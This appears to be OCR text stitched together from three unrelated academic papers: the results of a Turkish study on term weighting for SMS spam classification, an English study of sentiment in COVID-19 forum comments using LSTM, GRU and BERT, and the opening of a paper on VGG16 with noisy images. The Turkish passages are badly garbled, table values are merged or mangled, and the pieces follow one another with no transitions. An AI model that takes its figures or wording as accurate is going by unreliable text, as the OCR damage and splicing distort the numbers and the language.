Tablo 3 ve 4 incelendiginde, 6znitelik sayisi 10 ile 50 iken her bir terim agirliklandirma yonteminden
elde edilen simiflandirma performanslar1 arasindaki farklarin yiiksek oldugu goriilmektedir. Bu durum
i¢in, s6z konusu agirliklandirma yontemleri vasitasiyla agirliklandirilmis dokiiman terim matrisinin
yontemlerin sahip oldugu potansiyelin 10 &znitelik ile yeterince yansitilamadigi degerlendirmesi
yapilabilir.
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Tablo 4 Tiirkce SMS Mesaj Verisetinde SVM Siniflandirici ile Elde Edilen Makro-F; Sonuglari

Oznitelik | TF-IDF | TF-PB | TF-DFS | TF-RF | TF-IGM
Sayis1

10 85.61 79.26 | 85.61 79.26 | 86.59
50 92.11 82.99 |91.75 82.99 |92.11
100 95.29 82.99 |94.10 86.61 | 93.31
300 94.50 81.34 | 94.50 86.54 | 93.70
500 93.71 81.34 | 95.29 86.54 | 93.31
1000 92.91 81.34 | 94.49 88.57 |93.70
1500 93.30 81.34 | 94.88 88.57 |93.70
2000 93.70 81.34 | 94.89 88.57 |92.91

Her iki smiflandirici igin de en yiiksek siniflandirma performansini TF-IDF gostermistir. Tiirkge SMS
Mesaj verisetinde, TF-IDF ile TF-DFS yiikksek boyutlarda ve SVM simniflandirict ile KNN
smiflandiriciya nazaran daha basarilidir. Benzer sekilde, TF-RF ile TF-PB terim agirliklandirma
yontemlerinin KNN smiflandirci ile simiflandirma performanslart SVM siniflandiricr ile elde edilen
degerlerden daha yiiksektir. Siiflandirict bazinda kiyaslama yapilirsa, TF-PB ve TF-RF’in KNN
siniflandirict ile elde edilen siniflandirma basarimlarinin SVM siniflandirici ile elde edilen siniflandirma
basarimlarindan genel olarak daha yiiksek oldugunu sdylemek miimkiindiir. Terim agirliklandirma
yontemlerinin performanslarmin yiiksek boyutlarda genel bir kiyaslamasi yapilirsa, KNN siniflandirici
ile genel olarak TF-IGM’in daha iistiin performanslara sahip oldugu, SVM siniflandirici ile ise TF-
DFS’in diger yontemlere gore net bir sekilde daha yiiksek Makro-F1 degerlerine sahip oldugu
gorulmektedir. Turkce SMS mesaj verisetinde KNN ve SVM smiflandiricilar tizerinde sirasiyla TF-RF
ve TF-PB terim agirliklandirma semalarinin siniflandirma performanslar1 diger 4 semanin gerisinde
kalmigtir. Ayrica s6z konusu veriseti lizerinde her iki siniflandirici ile de tiim terim agirliklandirma
semalarindan elde edilen Makro-F1 degerleri yaklasik %79-95 araliginda hesaplanmustir.

3.3. Ingilizce SMS Mesaj Veriseti Uzerindeki Stmflandirma Sonuclar

British Ingilizce SMS Mesaj veriseti iizerinde toplamda 5 farkli terim agirliklandirma yonteminden
KNN ve SVM smiflandiricilar kullanilarak elde edilen Makro-F; sonuglar1 Tablo 5 ve Tablo 6’da
strasiyla verilmistir.

Tablo 5 Ingilizce SMS Mesaj Verisetinde KNN (k=1) Simiflandirici ile Elde Edilen Makro-F; Sonuglar

Oznitelik Sayis1 | TF-IDF | TF-PB | TF-DFS | TF-RF | TF-IGM
10 85.47 85.50 | 85.47 85.50 | 85.64
50 93.16 91.86 | 93.42 92.15 | 93.58
100 93.37 93.63 | 92.79 93.27 | 93.56
300 90.89 92.61 |91.68 92.07 | 92.50
500 90.28 92.88 | 90.36 91.43 |91.583
1000 89.30 92,76 | 88.42 91.38 | 90.24
1500 91.83 9250 |91.71 91.23 | 9244
2000 92.24 92.62 | 92.53 91.70 |93.20
2500 92.62 9250 ]9291 9155 |93.20
3000 91.94 92.38 ]93.20 91.46 |93.20

Ingilizce SMS Mesaj verisetinde en yiiksek Makro-F1 degeri, KNN siniflandirici iizerinde TF-PB’ye,
SVM siniflandirict {izerinde ise TF-DFS’e aittir. SVM smiflandirict tiim 6znitelik boyutlar1 hesaba
katilarak terim agirliklandirma semalarinin performanslart arasinda bir kiyaslama yapilirsa; TF-DFS
terim agirliklandirma y6nteminin performanslarinin digerlerine nazaran genel olarak daha iistiin oldugu,
TF-PB’nin ise daha diisiik oldugu yorumu yapilabilir. S6z konusu yontemlerin KNN siniflandiricr ile
ise performanslarin birbirlerine daha yakin oldugu sdylenebilir. Bu verisetinde de sadece 10 &znitelik
ile ¢aligmak terim agirliklandirma yontemlerinin sahip olduklar1 ger¢ek siniflandirma potansiyelini tam
olarak yansitamamustir. Oznitelik sayis1 50’ye cikarildiginda daha yiiksek ve dolayisiyla da daha tutarh
simiflandirma sonuglar elde edilmistir. SVM smiflandirict ile 500 6znitelikten sora TF-PB’nin Makro-
F1 degerleri bu veri setinde de sabitlenmis olup 6te yandan KNN siniflandirici ile ise TF-IGM ve TF-
PB’nin performanslar1 digerlerine nazaran nispeten daha one c¢ikmistir. S6z konusu SMS mesaj
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verisetinde tiim terim agirliklandirma semalarindan elde edilen siniflandirma basarimlarinin yiizdelik
degerleri 85-95 bandinda 6lgililmiistiir.

Tablo 6 Ingilizce SMS Mesaj Verisetinde SVM Siniflandirici ile Elde Edilen Makro-F; Sonuglart

Oznitelik | TF-IDF | TF-PB | TF-DFS | TF-RF | TF-IGM
Sayisi

10 85.77 84.73 | 85.77 84.73 | 85.77
50 92.82 90.36 | 92.92 9241 | 92.26
100 93.82 90.70 | 93.18 93.11 | 93.96
300 94.07 89.86 | 94.93 94.16 | 93.79
500 93.65 90.32 | 94.89 94.21 | 92.30
1000 93.98 90.32 | 94.89 93.77 | 93.53
1500 94.31 90.32 | 95.72 93.47 | 94.85
2000 94.47 90.32 | 95.72 93.66 | 93.20
2500 94.75 90.32 | 95.48 92.822 | 92.55
3000 94.51 90.32 | 95.76 92.822 | 92.80

4. Sonug ve Oneriler

Bu ¢alismada, Ingilizce ve Tiirkge dilleri igin istenmeyen SMS mesajlarmin belirlenmesi probleminin
¢ozlimiinde popiiler terim agirliklandirma yontemlerinin etkileri ayrintili olarak analiz edilmistir. S6z
konusu etki analizinde SMS mesajlarinin dogru olarak siniflandirilmasinda terim agirliklandirma
semalarmin katkilarina odaklanilmistir. Deneysel kisimda istenmeyen ve mesru olarak kategorize
edilmis SMS mesajlari igeren Tiirkce ve Ingilizce dillerine ait ii¢ farkli veri seti, bes farkli popiiler
terim agirliklandirma semasi ile SVM ve KNN siniflandirict kullanilmig olup s6z konusu terim
agirliklandirma semalarinin siniflandirma performanslart Makro-F; 6lgiitii cinsinden hesaplanmustir.
Istenmeyen SMS mesaj filtreleme problemi igin bu galismada yararlamilan ii¢ veri setinden elde edilen
sonuclar; TF-IGM, TF-DFS ve TF-IDF terim agirliklandirma semalarinin, TF-PB ve TF-RF terim
agirliklandirma semalarina nazaran nispeten daha basarili oldugunu gostermistir. Ancak biiyiik resme
odaklanacak olunursa, kullanilan terim agirliklandirma yontemlerinin higbirinin genel anlamdaki
etkinliginin her bir veri seti i¢in de birbirinden agik ara {istiin olmadig1 yorumunu yapmak yanlis olmaz.
Her bir terim agirliklandirma semasindan elde edilen siniflandirma sonuglarindaki farklar, istenmeyen
SMS siniflandirmada mesaj iceriklerinin uygun bir bigimde agirliklandirilmasinin ne denli 6nemli
oldugumu da gostermektedir. Dil bazinda bir kiyaslama yapilirsa, Tiirkge SMS mesaj veri setinde elde
edilen tiim simiflandirma basarimlarinin Ingilizce SMS mesaj verisetlerinde elde edilenlere nazaran daha
genis deger araligina sahip oldugu gdzlenmistir. Calismada elde edilen bulgular, Tiirk¢e ve ingilizce
dilleri gibi sirasiyla sondan eklemeli olma ve olmama &zellikleri gosteren bagka dillerde yapilacak
caligmalara 151k tutabilir.
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Abstract

Nowadays, social media and online sharing sites are frequently used to share thoughts about daily events. Thanks
to the posts made by internet users on these platforms, first, quite big data is generated to interpret the agenda.
More than 10,000 comments of more than 5000 users made about COVID-19 from online websites between 15
March and 15 May were collected in this study. Then, emotional analysis on these comments was carried out with
BERT, GRU, LSTM and TF-IDF methods. The changes in the amount of user comments and the emotions
reflected by the comments have been associated with the actual events of these dates. It has been determined which
types of events affect users more. In addition, the emotional response changes of the users to the official COVID-
19 statistics were measured and the peak points of the emotional changes were determined. Finally, the emotion
classification methods applied were evaluated by user questionnaires and their successes were determined
according to F-Measure.

Keywords: COVID-19, LSTM, BERT, Sentiment Analysis, TF-IDF

1. Introduction

Social networks are virtual interaction models that reflect the interests, friendships and connections of
users in their real life. Social media adventure on the internet started with people making their own
news. Today, it is seen that all agencies, including major news organizations, use these platforms to
broadcast their news. Social media hosts many different types of news, as it is both a news outlet and a
space for users to share their own news. Users access the news on social media and can convey their
reactions and comments to the news via social media. Naturally, social networks have become the
priority sharing areas where people share their reactions to instant events.

Even though social networks are very popular platforms for sharing user ideas, there are also alternative
websites preferred by users. These websites, which were called "forum™ in the past, are more
systematically constructed than social media. They are divided into specific categories and contain
longer comments within sub-titles. Although the history of the forums reached the 1990s, there are still
quite popular forums that are actively used today. As an example, Reddit is one of the most popular
forums with its subject and category-based sharing. Unlike social networks, in the forums, users make
their opinions not on their own pages, but inside the page opened for a topic. This form of sharing
provides a ready-made database of subject-oriented comments for research on a topic.

Associating the comments collected from social networks with current topics and making analyzes from
comments on a topic is used frequently in academic studies. Especially for researchers working on data
mining, these forums are like a database. In this study, the effects of events related to COVID-19
pandemic on users were investigated with data collected from social networks. Changes of emotions
were determined according to real events by analyzing with user comments, data mining and deep
learning methods. It is aimed to identify the factors that affect the society in the pandemic process by
associating the emotional changes obtained with the events that took place at that time.

The rest of the paper is organized as follows: Section 2 is devoted to the discussion of related work.
Section 3 describes the processes related to the collection of data used in selected social networks. In
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Section 4, the method proposed in this study is first mentioned and then the experimental results for the
proposed method are given. Section 5 concludes the paper.

2. Related Work

Sentiment analysis in comments on websites and social networks is a field that is subject to academic
studies in many languages for different topics with different algorithms. Sentiment analysis can be
applied at four different levels. These levels are sentence, status, document and user level, respectively.
Different methods can be applied within these four levels, such as machine learning, lexicon, NLP,
ontological or hybrid solutions [1].

Many studies have been conducted on the detection of messages that are described as spam or false
messages on social networks [2] [3]. Sentiment analysis has also been used to analyze advice processes
for brands and services [4]. Sentiment analysis processes have also been used frequently in big data and
are frequently used in commercial projects [5]. It has been revealed in many studies that sentiment
analysis can be used not only in canonical texts, but also in an uncorrected / unstructured spelling
language, which is the language most often used by users [6].

In their study, Anjaria and Guddeti conducted emotional analysis on brands, people and events using
different algorithms on Twitter social network [6]. Many researchers have previously done work for
Weibo [7] [8] in the Chinese Language. Nehri et al did the same work for the Italian RA1 media
broadcaster in the Italian language [9]. In their study, Contrantes et al proposed a method aimed at
solving the problem of starting cold on a new product via Twitter and Facebook [10]. Tang et al.
conducted a study demonstrating the importance of emotions in purchasing and measuring the impact
of social network data and physically sold products on users [11].

Sentiment analysis can be performed at different levels [12]. First level can be defined as algorithms
that perform sentiment analysis on sentence basis. The second level methods are document-based and
look at all the sentences in the document to see if the comment is completely or partially positive /
negative. The third level is subject-based sentiment analysis. Each subject / word can stand out from a
different emotion aspect. For example, in the sentence “this computer is very good and quick, but it is
running out of battery very quickly”, positive and negative comments were made for the computer. In a
computer-based analysis, the sentence will be positive but in a battery-based analysis it will be negative.
In this type of work, all emotion is not connected to a single object.

There are also different application methods in terms of the algorithm to be used in sentiment analysis.
The word-based tagging system is the most principal of these algorithms [13]. The second method is
those using NLP [14], Lexicon [15] or machine learning [16]. The third method performs sentiment
analysis by comparing it with a trained data set [17]. In addition, methods that perform positive /
negative information analysis at the user level have also been proposed [18]. Analysis of the effects of
users on social networks on other users is one of the studies used with these methods [19].

The Eksi So6zliik user-based Turkish forum, which we selected as a data set, has been the subject of
many academic researches before. Alp has analyzed users discourses on one of the ethnic groups in
Turkey [20]. Dogu et al. conducted a study on Eksi So6zliik concept of authorship [21]. Akinerdem
analyzed the current TV series by comparing the comments in Twitter and Eksi Sozliik [22]. Almost all
of the work done with Eksi Sozliik focuses on sociological and / or psychological analysis.

Although it is a very new subject yet, academic studies on COVID-19 focused social media interaction
have started. Depoux et al. [23] examined the reflection of human panic on social networks after the
COVID-19 news. Gao et al. [24] analyzed the increasing mental health problems after COVID-19
through social media. Li et al. analyzed the increase of COVID-19 web inquiries over search engine
data [25]. Pennycook et al. [26] investigated methods of preventing misinformation spread over social
networks related to COVID-19. Li et al. [27] tried to determine the speed and types of spread by
classifying the information published on social media during the COVID-19 process.
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3. Data Collection

In this study, the reactions of the users to real events were tried to be collected from the messages
collected from web-based forums. An event series that occupies the agenda and where many people
comment is selected. Due to the impact of the COVID-19 pandemic on both our individual life and its
social impact, the agenda for the virus was selected in our study [28]. Although the widely used social
media platforms (Twitter, Instagram, etc.) contain a lot of data, it was not deemed suitable as a dataset
since this data is short and contains a lot of spam. Although the COVID-19 virus has affected the whole
world, it is necessary to focus on a limited time and a limited area in order to find the link between real
events and people’'s emotions. The study focuses on Turkish-speaking users in Turkey from 15 March
to 15 May. Eksi Sozliik which is Turkey's largest forum and one of the most frequently visited site is
selected for user reviews, user information, and scores given to comments by users. Data collection
process was carried out through a special bot within the scope of this study.

Eksi Sozliikk is a common "dictionary" based on the concept of websites built on user contribution.
Registered members send contents to the site, such as articles, links, text messages and pictures, which
are then interpreted and / or rated by other members. Different pages and topics were created by users
on thousands of topics such as current news, science, movies, video games, music, books. Currently
with more than 400,000 registered users, including 100,000 authors it is of one of Turkey's largest online
community. Eksi Sozliik offers a platform for sharing information on various topics from scientific
issues to daily life by thousands of people, as well as a virtual socio-political platform for discussing
current political content and sharing personal opinions [29].

Since an analysis of COVID-19 will be done in the study, the data are taken from the pages in this topic.
All comments in the titles created in the last 2 months related to COVID-19 were recorded together with
the author information and number of likes in order to create a data set. As the first step of data
processing, short comments that contain only links were not excluded. Also, only comments with emoji
have been removed from the dataset.

To compare the data collected, the daily number of deaths and infected patient’s information was
collected from the Republic of Turkey Ministry of Health webpages. All comments and ministry data
are noted daily. In addition, the events to be used for impact value measurement in our study were
selected from the most frequent agenda events in the news. Some information about the collected data
is shown in Table 1.

Table 1 Collected Data

Dataset Number
Total Comment 17903
Number of Different Authors 7834
Number of Likes 186999

The intensity of the comments collected by days is shown in Figure 1. In January and February, in
contrast to the World, Covid-19 cases have not been observed in Turkey, so the number of comments is
very small. Although there are a few peak points starting from the second week of March, it is seen that
there is a great density in the third and fourth week. In April, similar intensity comments continued,
except for 2 peaks. In May, with the reduction of the impact of the pandemic in Turkey, the amount of
comments had begun to fall.
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Figure 1 Density Map of Comments by Days

When choosing important events, the most commented days were first found to have a social response.
When calculating the days with the most comments, the requirement for the number of comments per
day to be at least 25% higher than the average of the 5 days before that day was checked. The days
selected in accordance with this condition are shared in Table 2. The events related to the days were
chosen among the most talked events in that day. Table 2 is determined for 8 days and events related to
each day are listed.

Table 2 Dates of Increasing Comments and Significant Events

Date Event Topic

12 March Under President Erdogan's chairmanship, a 5-hour coronavirus meeting  Sports,
was held. Sports competitions have been postponed, and some Travel,
preventions have been taken regarding overseas departure. Primary Agenda

schools were closed for 1 week and universities for 3 weeks [30].

16 March  Turkish Health Minister Fahrettin Koca said Europe and the Middle Agenda
East based, new 29 coronavirus patients were discovered in Turkey.
Since there were 18 cases in total in previous days, the number of cases
increased close to 150%. [31]

18 March  Some items from the economic package of 100 billion TL announced Economy
on March 18

20 March All hospitals were declared as pandemic hospitals, both the number of ~ Agenda
cases and deaths increased by 100% from the sum of the past days. [31]

2 April Infected patient numbers by cities was announced. Agenda

13 April ~ “’"When Does COVID-19 End?’” Virtual Discussion Started Agenda

18 April  Turkey's infected patient number passes its neighbor Iran and Turkey Agenda
rises to the eighth place in the infected patients list in the world

25 April  TUBITAK President Gave the Release Date for Coronary Virus Agenda
Vaccine
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While selecting events for Table 2, the most spoken and most influential event of each category was
noted. In addition, 4 events that take up a lot of space in the news agenda but are not included in
important dates are shown in Table 3. Later in the study, there will be relations between the events in
these tables and the reactions of people.

Table 3 The Events Which Did Not Get Much Comments

Date Event Topic

20 March Closing of all places of worship by the Directorate of Religious Religion
Affairs

23 March Fatih Terim who is Coach of Galatasaray which is one of Famous  Sport
Turkish football club was announced Covid-19 Positive.

25 March All public and private schools were declared a vacation for over Education
one month.

26 March All universities were declared a vacation by the Higher Education ~ High
Institution education

4. Methodology And Experimental Results

In this section, the results obtained from the methodology and experiments used to interpret the data are
examined. Owing to the obtained research results, the successes of the methods used in the experiments
are shared comparatively.

All the experiments shared in this section were carried out in Windows 10 environment with a computer
with 16 GB RAM and 2.5 GHz processor power. Python-3 was used as the programming language in
the experiments. Spyder and Jupyter infrastructure provided with Anaconda were used as the
development platform. In addition, Tensorflow, Keras and Numpy libraries with open source code were
used to provide ease of operation in the experiments.

80
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150 50-60 40-50 30-40 20-30 20

Figure 2 The Density Graph of the 100 Most Commented Users

The 100 most commenting users and their frequency of commenting are analyzed in Figure 2. The
number of users with more than 150 comments is only one. The number of users who comment between
50 and 150 is one. The number of users who comment between 40 and 50 is three. The number of users
who comment between 20 and 30 is 17. The number of users who comment between 10 and 20 is at
least 68. Most users commented less than 10 times. When a 60-day period is taken, it is normal to make
10 or fewer comments. In this context, it is evaluated that the data is not collected for same users and
that it is collected from sufficiently different users. At the same time, it will be possible to examine
emotional change over time with ten or more comments. Figure 3 shows the density chart of the 10 most
commented users.
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Figure 3 The Density Chart of the 10 Most Commented Users

When the figure is evaluated, it is seen that no user has made enough comments to manipulate the data.
Although the user who comments most frequently in this chart seems to occupy nearly 30%, this is only
the chart among the top 10 users who comment most frequently. Looking at the whole chart, even the
most frequent user takes up less than 1% of the total data. The impressions on the chart that begin with
'K:" are the id's obtained after anonymizing the user information. The number of comments made by
users according to months is shared in Figure 4.
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Figure 4 Frequency of Commenting by Months

When the chart is analyzed, it is seen that there are very few comments in February compared to other
months. It was observed that the comments peaked in March and April. Although only the first 15 days
of May were taken, it is seen that the level of March and April will not be reached in May, according to
the average of the current days. In Figure 5, the number of comments is shared by weeks, with a more
focus on.

When the distribution of the data according to the weeks of the year is examined, it is seen that the users
make the most intensive comments in the 11th and 12th weeks. The concentrated part of the data shows
the last two weeks of March. Major events seen in Table 2 also generally occurred this week. When the
weeks are examined, it is obvious that the first two weeks of March have passed with very few comments
and the main intensity is in the last 2 weeks, and the high of the whole month is due to the intensity in
these 2 weeks. The relationship between the comments and the number of cases was measured with 2
different types of graphics. The first of these graphs is the coefficient graph and is shown in Figure 6.
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Figure 5 Frequency of Commenting by Weeks
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Figure 6 Comparison Chart of Case and Comment Coefficients by Days

In the coefficient graph, all numbers are taken by days and the changes are calculated to show how many
times it is bigger than the previous day. In this way Sudden changes were tried to be detected. As the
reason for the sudden change on March 18, it can be seen that there were very few comments in the
previous days. However, it is still seen as a more realistic reason that the change is related to the
economic package announced at this date. Changes in the March 20 can be explained by the news of the
turning of all hospitals in Turkey to pandemic hospitals. The increase in the number of patients on the
18th and 20th March continues nearly twice. The increase in the number of patients on March 26 is also
the regional peak point and on the same days, a peak was identified in the comments.
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Figure 7 Death and Interpretation Coefficient Completion Chart by Days
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The relationship between the coefficient of death and the coefficient of interpretation shown in Figure
7 shows parallelism at many peak points in the table. It is seen that many external variables expressed
in the previous table cause other changes. The connection between the number of deaths and the number
of comments is thought to be more proportional to the number of cases.
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Figure 8 Cumulative Data Graph of Death and Interpretation by Days

In the graph in Figure 8, unlike the previous two graphs, the cumulative sums, not the coefficients, were
handled. When evaluated cumulatively, it is seen that the comments entered the sudden rise much earlier
than the cases. It is also observed that it captures the linear point earlier and then increases with a smaller
curve. The number of cases started to peak approximately 20 days after the number of comments and
caught a curve parallel to the number of comments. Although the number of comments increased
suddenly to pass to the linear curve within 10 days, the number of cases increased in approximately 20
days and then switched to the linear curve.

The table shows that people more strongly respond to cases but get used to it in time. When the number
of cases peaked, small peaks were observed in the number of comments, but it was observed that the
case did not increase at the same rate as the rate of increase.

Sentiment analysis of all collected comments was determined by four different methods. One of these
methods is the method of labeling with TF-IDF [32]. With this method, the positive and negative words
in the comments are tagged and then the frequency count is made and the comment is determined as
positive, negative or neutral. 75% of all tagged words were expected to have the relevant tag to identify
a comment as positive or negative. With this rule, comments with a confidence value less than 75% are
marked neutral. Tags are made by identifying 50 most common positive and 50 most common negative
words in Turkish language.

As a second method is supervised LSTM [33]. As the training data, the results accepted by unanimous
or majority vote from 34.397 classified comments in the TREMO [34] data set were used. The labels in
this training data have been converted as positive, negative and neutral. A second LSTM test was
performed using previously trained Word2Vec [35] vectors. Thanks to this method, it is aimed to
produce more successful semantic results for words that the model does not encounter in education.
Unlike standard LSTM architecture, inputs consisting of word vectors are used. A data set of Turkish
texts [36] and the TREMO data set were combined to form word vectors. Then, each word vector created
was sent as an input to LSTM and aimed to produce more successful semantic results.

The third method is the advanced Recurrent Neural Network (RNN) structure called the Gated Recurrent
Unit (GRU) [37]. It is known that the use of GRU increases the success rate in many classification
problems and uses less resources compared to LSTM [38]. In the experiments, it was observed that the
GRU model increased the success (acc) from 0.84 to 0.91 according to the LSTM model using the same
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training set. Therefore, in addition to other methods, the results obtained with GRU are also shared in
the study. While creating the model, embedding layer was added before GRU layers and word vectors
were used as input. The resources used in the LSTM method were used in the training of the model and
the creation of word vectors.

BERT [39] algorithm is used as the last test method. This algorithm stands out from other word
embedding techniques thanks to its transfer learning approach and pre-trained neural networks. Thanks
to the bidirectional working logic, it has become possible to extract the vector of a word by evaluating
the previous and subsequent sentences. Along with this method, it has been observed that it significantly
increases the success in the studies to make sense from the text [40]. In experiments with BERT, the
same training content as the GRU experiment was used for training.

The reason why the neutral number is too high is because the short comments are mostly labeled as
neutral. Since the short comments are not evaluated at all or labeled as neutral, they are labeled as neutral
as they are the same for the evaluation phase. Also, in LSTM / GRU experiments, the result of the
prediction is generated between 0 and 1 thanks to a sigmoid. As these values approach 1, the result is
understood to be positive, and as it gets closer to 0, it is understood to be negative. In this way, since the
value of 0.5 is in the middle, the comments between the values of 0.45-0.55 seen close to this value are
accepted as neutral.

When the data used in the study is examined; it is seen that the words without grammatical patterns,
irregular words and words used in the daily speaking language which are not in the dictionary are
frequently used. Although all these words are positive / negative, it makes labeling difficult and lowers
the success rate. The sloppy use of language among young people and the transformation of the internet
jargon over the years made it difficult to work.

In the study, in order to measure the success of four different methods, emotion analysis was carried out
by survey participants on 1000 data randomly selected from all data. Success criteria were revealed by
comparing the results with the results of the selected algorithms. Success results are shown in Table 4.
As seen in previous academic studies, LSTM has been more successful in labeling than other methods.
With this test, it was seen that all four methods used in the experiments were successful enough to be
used in this study.

Table 4 Success Rates of Applied Methods in Emotion Analysis

A P R F
Labeling with TF-IDF 0.769 0.758 0.690 0.763
LSTM 0.875 0.897 0.820 0.886
GRU 0.817 0.893 0.770 0.854
BERT 0.823 0.867 0.760 0.844

It is also seen in these test results that there are positive and negative users in all conditions. Despite
this, the peak points of emotion-intensive comments for the majority of users were determined to be on
March 21 - March 26 and April 3. As a result of associating each peak with an event, it is concluded
that the following events are directly related to the peak points.

The number of patients and the number of deaths is connected with COVID-19 in Turkey has increased
by 100% on March 21. This day is the first day for a big society response. When the first 1000 cases
were ignored, March 26 was the first day with the highest incidence of infected patients in COVID-19.
It is obvious that the sudden increase in the patient number and the number of patients exceeding 3000
caused anxiety for the users. The positive density on April 3; can be relevant with the explanation of the
city-based Covid-19 infected number of patients in Turkey, the fact that Istanbul host the half of all
infected cases in Turkey and the small amount of infected in other cities. These statistics coincide with
the saying of "Istanbul can be Turkey's Wuhan" which is belong to The Minister of Health of the
Republic of Turkey [41]. This supports the accuracy of other data.
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Figure 9 Distribution of Positive and Negative Comments by Days with TF-IDF Labeling Method

Figure 9 shows the graph of the number of comments with emotion analysis. From the test results, it is
seen that when users have very negative or very positive emotions, they tend to write more comments
than neutral emotions. It is also seen that negative emotions encourage writing more than positive
emotions. The increasing level of negative comments in peak dates, shows people's anxiety. Positive
comments are estimated to be users who try to think positively and are not in a state of panic.

Figure 10 shows the graph of the number of comments with emotion analysis. It is estimated that the
reasons for the increase of positive comments on peak dates are not to make people panic and try to
think positively. On the other hand, there was an increase in negative comments during these dates.
Unlike the labeling method, LSTM has found a peak date for April 13 and April 25. It is seen that the
comments made on April 25 have increased due to the press releases of state institutions related to
vaccination studies. In the tests carried out with different methods in Figure 11 and Figure 12, similar

results were obtained with the tests previously applied.
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Figure 10 Distribution of Positive and Negative Comments by Days with LSTM Labeling Method
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Figure 11 Distribution of Positive and Negative Comments by Days with BERT
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Figure 12 Distribution of Positive and Negative Comments by Days with GRU

Neither an official state statement nor an important event is observed on April 13. However, on April
13, it is seen that the title "When will the COVID-19 end" and the entries related to this title have
increased a lot. With the opening of this title, a new virtual discussion environment has been created
and people share their ideas in this discussion environment and object to many other ideas.

Although some points are related to the peak points, the reasons why other points are not connected to
the peak days are examined. As a result of this review, it is seen that there are more comments on the
cases (famous people) who find more place in the society. Again, it is seen that the news, which is
regarded as a surprise about the socially anticipated events, received many comments. On the other
hand, it can be said that the announcements and explanations about COVID-19 related life and education
are less popular since they are realized within the expectations of the users. It seems that issues related
to sports and arts associated with COVID-19 almost did not attract any attention during this period.

Negative

Positive

0 2000 4000 6000 8000 10000 12000

BERT W GRU mLSTM M Labeling

Figure 13 Classification Results of Methods

Figure 13 shows the ratios of positive and negative values of the results of all methods. Neutral values
are not shown in Figure 13. It is seen that the success classification results of other methods, except
labeling, are close.

5. Conclusion

In this study, contents focused on COVID-19 are examined, how emotional the users are affected by
current events and the effects of these events on user comments are investigated. More than 10000
comments about COVID-19 collected from online websites between 15 March and 15 May were
subjected to 4 different sentiment analysis methods for this purpose. Sentiment analysis and comment
frequencies were associated with real events and it was determined how users reacted to which types of
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events. In addition, the connections between the user comments and the number of COVID-19 patients
and deaths were determined and shared with the graphics. It has been observed that even if the methods
used in the current study do not comply with the language rules, successful results were obtained from
irregular data. With the methods will be proposed in the future studies, it is possible to conduct more
specific researches in different fields such as government policies, political opinions, the introduction
of commercial products and sports competitions. In this way, it will be possible to see the impact of
each issue on the process and society in a more tangible way. In line with these data, it will be easier to
perceive the priorities and sensitivities of the society in extraordinary situations. In addition, it will be
possible to put forward studies for other countries that have or will be affected by the pandemic which
they can use as a reference in the process of managing the situation.
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Abstract

Deep learning networks has become an important tool for image classification applications. Distortions on images
may cause the performance of a classifier to decrease significantly. In the present paper, a comparative
investigation for binary classification performance of VGG16 network under corrupted inputs has been presented.
For this purpose, images corrupted at various levels and fixed levels with Gaussian noise, Salt and Pepper noise
and blur effect were used for testing. Convolutional layers of the VGG16 were frozen except the last three
convolutional layers and a dense layer for binary classification was added. According to experimental results, as
the effect of distortion is increased, performance of the deep learning classifier drops significantly. In the case of
augmented training with distortion effects, the results were improved significantly.

Keywords: deep neural network, VGG16, pretrained networks, fine tuning, augmentation, corrupted
images

VGG16 ikili Stmflandiricl Derin Sinir Agimin Giiriiltiilii ve Bulamik
Goriuntiiler icin Degerlendirilmesi

Oz

Derin 6grenme aglari, goriintii siniflandirma uygulamalari i¢in 6nemli bir ara¢ haline gelmistir. Goriintiilerdeki
bozulmalar, siniflandiricinin performansinin dnemli 6l¢iide diismesine neden olabilir. Bu makalede, bozuk girisler
altinda VGG16 agmin ikili siniflandirma performansi igin karsilastirmali bir aragtirma sunulmustur. Bu amagla,
cesitli seviyelerde bozulmus goriintiiler ve Gauss giiriiltiisii, Tuz ve Biber giiriiltiisii ve bulaniklik etkisi ile sabit
seviyelerde goriintiiler test icin kullanilmistir. VGG16'nin evrisimli katmanlari, son ii¢ evrisimli katman harig
dondurulmustur ve ikili siniflandirma i¢in yogun bir katman eklenmistir. Deneysel sonuglara gére, bozulmanin
etkisi arttik¢a, derin 6grenme siniflandiricisinin performanst 6nemli dl¢iide diismektedir. Bozulma etkilerini iceren
artirtlmig egitim durumunda, sonuglar dnemli dlciide iyilestirilmistir.

Anahtar Kelimeler: derin sinir ag1, VGG16, 6nceden egitilmis aglar, ince ayar, zenginlestirme, bozuk
goriintiiler

1. Introduction

Deep learning based methods have been used widely in various fields such as computer vision[1],
natural language processing [2], audio signal processing [3], and medical diagnosis [4]. This is mainly
the result of availability of larger datasets, developing GPU technology, frameworks and toolkits such
as Keras [5], Tensorflow [6], CNTK [7] and Theano [8]. One of the important subfields of deep learning
is the Convolutional Neural Networks (ConvNets) which were initially used for handwritten number
recognition [9]. Deep convolutional networks are successful in image classification applications due to
their success in generalization. On the other hand training such networks requires datasets large enough
to exemplify possible cases of classified images. Although increasing the size of the dataset, increases
the generalization capability of ConvNets, it is not easy to find required number of images that provides
the required generality. One of the approaches to increase to generality to cover these effects is to apply
augmentation on images [10]. Examples usually include synthetic effects such as shift, zoom, blur,
contrast, illumination, flip or shear operations. Especially including naturally occurring common
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corruptions such as blur effect, Gaussian noise or Salt and Pepper noise effects in datasets gains
importance for increasing the accuracy of the deep learning classifiers. An input image with these
corruptions can be misclassified by convolutional neural network if these aren’t considered during
training. In literature, various corruptions were studied by numerous authors to improve naturally
occurring corruptions. Dodge and Karam considered five types of quality distortions: blur, Gaussian
noise together with contrast, JPEG, and JPEG2000 compression [11]. In another study, they considered
blur and Gaussian noise for improving the performance of ConvNets and compared with human
detection accuracy [12]. Vasiljevic et al. improved the performance of ConvNets by fine-tuning for blur
degradation [13]. Yin et al. studied the relations between frequency of a various corruption types and
network performance for data augmentation [14]. Rusak et al. used data augmentation with Gaussian
and Speckle noise and improved the performance of ResNet50 against corruptions on ImageNet-C [15].
Kamann et al. realized detailed evaluations for semantic segmentation models regarding realistic image
corruptions [16].

In the presented paper a comparative inspection for binary classification performance of fine-tuned
VGG16 deep neural network under corruption effects which may occur naturally. For this purpose, the
pretrained weights on ImageNet were used for the first four block of VGG16. Fifth block, where three
successive convolutional layers and a dense layer for binary classification were trained using Cat vs.
Dog dataset from Kaggle competition. Performance of the binary classifier were measured for various
levels of Gaussian noise, Salt and Pepper noise and blur effects in datasets. Binary classifier were trained
using augmentations with Gaussian noise, Salt and Pepper noise and blur effects to see the
improvements in accuracy results. In the following section, background information about ConvNets
